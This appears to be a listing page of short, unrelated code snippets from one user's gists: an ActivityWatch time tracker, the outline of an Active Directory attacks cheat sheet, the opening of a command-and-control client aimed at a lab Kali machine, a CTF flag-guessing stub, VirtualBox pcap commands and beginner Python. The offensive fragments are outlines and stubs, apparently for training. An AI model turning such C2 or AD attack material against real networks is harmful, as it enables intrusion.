ShyftXero

# 20240215
# shyft
# script to prove my wife wrong about how much time I'm spending at my computer in the eventing. 
# use with caution... may not be worth it to you... 
# relies on https://github.com/ActivityWatch/activitywatch/  "Records what you do so that you can know how you've spent your time."
# grown from https://github.com/ActivityWatch/aw-client/blob/master/examples/time_spent_today.py
import sys
from datetime import date, datetime, time, timedelta, timezone
from rich import print
import socket

ShyftXero

Note: I did not author this, i found it somehwere.

Active Directory Attacks

Summary

• Tools
• Most common paths to AD compromise
  • MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
  • Open Shares
• [GPO - Pivoting with Local Admin

ShyftXero

#!/usr/bin/env python
# Dependencies:
# - arrow
# - shodan
# - ImageMagick
#
# Installation:
# sudo easy_install arrow shodan
# sudo apt-get install imagemagick
#

ShyftXero

# pip3 install -U requests
import requests
import time
import subprocess


C2_SERVER = 'http://10.0.2.15:5000/' # our kali machines IP address

def get_ext_ip():
    response = requests.get('https://ifconfig.me/all.json')

ShyftXero

# some_bucket = "Eli"

# list_of_people = [ some_bucket, "Thomas Jefferson", "wallace and grommit" ]

# print(list_of_people) ### puts on screen

# list_of_servers = [
#     "webserver 1",
#     "databaseserver 3",
#     "ftp_server",

ShyftXero

import os
from time import sleep

# try:
#     my_animals_file = open('other_animals.txt', 'r')

#     for line in my_animals_file.readlines():
#         print(line.strip() )

#     my_animals_file.close()yword found in text

ShyftXero

Super slick commands for virutalbox machine management

Start / Stop a pcap at the VM level for a guest machine. (not having to route traffic through another box to capture; works in NAT)

• Start pcap
  • vboxmanage controlvm "vm_name_here" nictrace1 on
• Stop pcap
  • vboxmanage controlvm "vm_name_here" nictrace1 off

A file VBox-<5_hex_digits>.pcap will be created. don't know the significance of the digits. They don't seem to be the mac

ShyftXero

#! python3
# phoneAndEmail.py - Finds phone numbers and email addresses on the clipboard.

# Site to test against: https://dese.ade.arkansas.gov/Offices/ar-comp-sci-initiative/statewide-computer-science-specialists

import pyperclip, re

# Create phone number regex with or without area code, but uses a '-' seperator.
phoneRegex = re.compile(r''' EXPRESSION HERE ''', re.VERBOSE)

ShyftXero

import requests
import bs4

# you are searching for a message that starts with 'FLAG{' and ends in '}'
url = 'https://leaky.shyft.us'

sess = requests.session()

ab = [chr(x) for x in range(0, 255) if chr(x).isprintable()]
print(ab)

ShyftXero

# Options

set tabsize 4
set tabstospaces
set indicator   # side-bar for indicating cur position
set linenumbers
#set numbercolor green,normal
#set suspendable # allow nano be suspended
set smarthome   # home jumps to line start first
set zap	        # delete selected text as a whole